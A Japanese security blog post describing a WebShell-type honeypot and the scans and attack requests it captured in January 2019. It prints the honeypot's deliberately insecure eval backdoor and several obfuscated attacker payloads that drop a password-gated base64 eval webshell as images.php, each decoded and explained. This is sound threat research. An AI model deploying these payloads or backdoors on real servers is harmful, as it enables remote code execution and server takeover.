WebShell型ハニーポットを設置してWebShellに対するスキャンを観察した
久しぶりにハニーポットのネタです。
タイトルが全てですが「最近、WebShell設置の調査に対するスキャン多すぎない?」と思ったのが発端。
WebShell設置の調査に対するスキャンとは、適当なファイル名のphpファイルに対して、HTTPリクエストボディにdie(@md5(J4nur4ry));
とかセットされているリクエストです。
こういうときに「なら、本当にWebShellがあったら、お前ら(攻撃者)どうするつもりなの?」と思うのは自然な発想ですね。
ということで、投入されたデータを実行するWebShellを作成して観察をしました。
環境
AWSのEC2のインスタンスを立てて、その上にDockerコンテナを立てました。
なお、現在、高対話型ハニーポット基盤を構築しており、そちらに構築したDockerコンテナの一つです。
運用が安定してインストール手順がまとまったらgithubで公開予定です。
動かすPHPコードはこちらです。
<?php foreach($_REQUEST as $v){ try{ eval($v.";"); }catch(Throwable $e){ } }
はい、見る人が見たら卒倒・激怒りするようなコードですね。
どんなパラメータ名だろうがeval
関数で実行して返します。
$_REQUEST
変数を使用しているため、GETリクエストにもPOSTリクエストにも対応しています。
また、Webサーバの設定で、拡張子phpへのリクエストは全てこのコードに流れるようルーティングします。
system
関数でなくeval
関数を実行するようにしたのは、冒頭に記載したdie(@md5(J4nur4ry));
に対応するためです。
die(@md5(J4nur4ry));
をeval関数で実行すると、4df5791c3e09e5c7faa7b3ce35d9cd4b
のハッシュ値を返却します。攻撃者は、レスポンスにこのハッシュ値が含まれているかどうかで、WebShellが設置されているか判断しているのでしょう。
観測結果
WebShell設置スキャンの件数推移
まず、WebShell設置に対するスキャン行為が、どれほどの件数があるか集計しました。
HTTPリクエストボディにdie(@md5(J4nur4ry));
を含むPOSTリクエストを条件に集計しています。
年月日 | 件数 | IPアドレス |
---|---|---|
20190111 | 185 | 200.61.XXX.XXX |
20190111 | 185 | 58.129.XXX.XXX |
20190113 | 185 | 139.199.XXX.XXX |
20190113 | 123 | 171.244.XXX.XXX |
20190114 | 185 | 150.109.XXX.XXX |
20190114 | 190 | 181.115.XXX.XXX |
20190116 | 190 | 118.25.XXX.XXX |
20190116 | 190 | 123.207.XXX.XXX |
20190116 | 185 | 132.232.XXX.XXX |
20190116 | 180 | 132.232.XXX.XXX |
20190116 | 190 | 61.19.XXX.XXX |
20190117 | 184 | 118.24.XXX.XXX |
20190118 | 190 | 118.126.XXX.XXX |
20190119 | 191 | 106.12.XXX.XXX |
20190120 | 191 | 132.232.XXX.XXX |
20190120 | 191 | 139.199.XXX.XXX |
20190121 | 191 | 120.31.XXX.XXX |
20190121 | 191 | 154.209.XXX.XXX |
年月日とIPアドレス単位で集計すると、件数が近似していますね。
同じ攻撃者なのか、または同じツールを使用しているのでしょうか。
さて、2019/1/17まではWOWHoneypotを使用して適当なHTMLレスポンスを返却していましたが、
2019/1/18にWebShellの稼働を始めました。
その後、2019/1/19からそれ以前には観測したことのない攻撃データを観測し始めました。
4パターンを観測しましたので順に紹介します。
攻撃パターン1
POSTリクエストです。以下、HTTPリクエストボディの内容です。
m=eval($_POST["h"])& q=eval($_POST["h"])& mx=eval($_POST["h"])& 520=eval($_POST["h"])& cnm=eval($_POST["h"])& 0o0=eval($_POST["h"])& 1=eval($_POST["h"])& 2=eval($_POST["h"])& 4=eval($_POST["h"])& 5=eval($_POST["h"])& -2=eval($_POST["h"])& 111=eval($_POST["h"])& a=eval($_POST["h"])& cmd=eval($_POST["h"])& admin=eval($_POST["h"])& garry=eval($_POST["h"])& guess=eval($_POST["h"])& username=eval($_POST["h"])& h=die(@file_put_contents("images.php", '<?php $func=\'c\'.\'r\'.\'e\'.\'a\'.\'t\'.\'e\'.\'_\'.\'f\'.\'u\'.\'n\'.\'c\'.\'t\'.\'i\'.\'o\'.\'n\'; $test=$func(\'$x\',\'e\'.\'v\'.\'a\'.\'l\'.\'(b\'.\'a\'.\'s\'.\'e\'.\'6\'.\'4\'.\'_\'.\'d\'.\'e\'.\'c\'.\'o\'.\'d\'.\'e($x));\'); $test(\'QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ==\'); ?>',LOCK_EX) ? md5("111niLniW") : "failed");
※適当なところで改行を挟んでいます。
h
パラメータに注目です。
images.php
というファイル名でPHPファイルを作成しようとしています。
少々、難読化されていますが、簡単に説明するとQHNlc3Npb25fc3RhcnQoK~
の文字列をBASE64デコードして実行するコードです。
デコードしてみましょう。
@session_start(); if(isset($_POST['code'])){ (substr(sha1(md5(@$_POST['a'])),36)=='222f')&&$_SESSION['theCode']=trim($_POST['code']); } if(isset($_SESSION['theCode'])){ @eval(base64_decode($_SESSION['theCode'])); }
なんと、新たなWebShellの設置リクエストでした。
code
パラメータで受けたコードをeval
関数で実行する処理です。
既に用意したWebShellでも任意のコードが実行可能であるにも関わらず、自分で設置しようとしています。
また、aパラメータによる簡単な認証処理も実行しています。
他者に使われないようにしているのでしょうか。自分は、他者が設置したWebShellを利用しているというのに!
この攻撃の件数推移は以下の通りです。
年月日 | 件数 | IPアドレス |
---|---|---|
20190119 | 5 | 111.230.XXX.XXX |
20190119 | 3 | 111.231.XXX.XXX |
20190119 | 3 | 117.79.XXX.XXX |
20190119 | 3 | 118.89.XXX.XXX |
20190119 | 8 | 154.8.XXX.XXX |
20190119 | 6 | 180.76.XXX.XXX |
20190119 | 2 | 193.112.XXX.XXX |
攻撃パターン2
POSTリクエストです。以下、HTTPリクエストボディの内容です。
--------------------------xxxxxxxxxxxxxxxx Content-Disposition: form-data; name="submit" --------------------------xxxxxxxxxxxxxxxx Content-Disposition: form-data; name="newname" --------------------------xxxxxxxxxxxxxxxx Content-Disposition: form-data; name="_upl" Upload --------------------------xxxxxxxxxxxxxxxx Content-Disposition: form-data; name="sendfile" true --------------------------xxxxxxxxxxxxxxxx Content-Disposition: form-data; name="h" if (copy($_FILES[file][tmp_name],$_FILES[file][name])) die(md5(UploadDone)); --------------------------xxxxxxxxxxxxxxxx (snip) --------------------------xxxxxxxxxxxxxxxx Content-Disposition: form-data; name="z"; filename="E:\\PHPnow\\htdocs\\images.php" Content-Type: application/octet-stream <?php /*1*/$CF/*2*/='c'./*3*/"".'r'./*exit;*/"".'e'./*5*/"".'a'./*6*/"".'t'./*7*/"".'e'./*8*/"".'_'./*9*/"".'f'./*0*/"".'u'./*echo*/"".'n'./*9*/"".'c'./*8*/"".'t'./*7*/"".'i'./*6*/"".'o'./*5*/"".'n';$EB/*die();*/=@$CF/*3*/('','e'.""./*2*/'v'.""./*1*/'a'.""./*0*/'l'.""./*1*/'(b'.""./*2*/'a'.""./*3*/'s'.""./*sleep(1);*/'e'.""./*5*/'6'.""./*6*/'4'.""./*7*/'_'.""./*8*/'d'.""./*9*/'e'.""./*0*/'c'.""./*1*/'o'.""./*2*/'d'.""./*3*/'e'.""./*echo*/'("QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7"));');$EB/*exit;*/();/*die("FWA");*/ ?> --------------------------xxxxxxxxxxxxxxxx (snip)
multipartのリクエストです。ファイルアップロードしようとしているようです。
コメントアウトを随所に挟むことで難読化していますが、部分部分に注目すると攻撃パターン1と似ています。
BASE64デコードすると以下の通りです。
攻撃パターン1と比べると、{}
が無い程度の違いのみで、同じ処理です。
@session_start(); if(isset($_POST['code']))substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code']; if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));
つまり、こちらもWebShellの設置リクエストでした。
この攻撃の件数推移は以下の通りです。攻撃パターン1と同じIPアドレスでした。
年月日 | 件数 | IPアドレス |
---|---|---|
20190119 | 28 | 111.230.XXX.XXX |
20190119 | 29 | 111.231.XXX.XXX |
20190119 | 22 | 117.79.XXX.XXX |
20190119 | 22 | 118.89.XXX.XXX |
20190119 | 23 | 154.8.XXX.XXX |
20190119 | 21 | 180.76.XXX.XXX |
20190119 | 22 | 193.112.XXX.XXX |
攻撃パターン3
GETリクエストです。以下、クエリパラメータです。
cmd=echo "<?php \$func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';\$test=\$func('\$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e(\$x));');\$test('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ=='); ?>" >images.php & echo Hello, Peppa!
攻撃パターン1とコードが似ています。
BASE64エンコード文字列は、全く同じです。
つまり、こちらもWebShellの設置リクエストでした。
この攻撃の件数推移は以下の通りです。件数は少なめです。
年月日 | 件数 | IPアドレス |
---|---|---|
20190119 | 2 | 111.230.XXX.XXX |
20190119 | 2 | 111.231.XXX.XXX |
攻撃パターン4
攻撃パターン1、2、3ともにimages.php
を設置するリクエストでしたが、当然、images.php
へのリクエストもありました。
a=just+for+fun&code=ZGllKCJIZWxsbywgUGVwcGEhIik7
BASE64デコードすると、die("Hello, Peppa!");
となります。
自分が設置したWebShellが稼働しているか確認するリクエストのようです。
このリクエストに対してHello, Peppa!
と返却すると、いよいよ攻撃者の目的を果たすための攻撃コードが着弾したのでしょうか。
しかし、攻撃パターン1、2および3で設置されたimages.php
へのルーティングはしていないため、失敗に終わりました。残念。
この攻撃の件数推移は以下の通りです。攻撃パターン1および2と同じIPアドレスでした。
年月日 | 件数 | IPアドレス |
---|---|---|
20190119 | 68 | 111.230.XXX.XXX |
20190119 | 62 | 111.231.XXX.XXX |
20190119 | 48 | 117.79.XXX.XXX |
20190119 | 52 | 118.89.XXX.XXX |
20190119 | 62 | 154.8.XXX.XXX |
20190119 | 53 | 180.76.XXX.XXX |
20190119 | 47 | 193.112.XXX.XXX |
まとめ
スキャン行為に対応するWebShellを設置していれば、すぐに本格的な攻撃コードが着弾すると想定していましたが、攻撃者は思いのほか慎重でした。まさかWebShellをもう1つ作成されるとは。
ただ、今回、低対話型ハニーポットでは観測が難しいところまで観測できたのではと感じています。
継続、日々攻撃を観察して、攻撃者が期待するレスポンスを返す環境を構築し提供することで、攻撃者の動きの深追いを続けていきたいと思います。
但し、当然、本当に攻撃を受けているため、環境の頻繁なリストア・戻し処理等、万全な体制で臨む必要があります。
なお、このBlog記事を書いている間も、Tomcat型ハニーポットに興味深いアクセスが来ていたので、後日まとめる予定です。
続きです。
graneed.hatenablog.com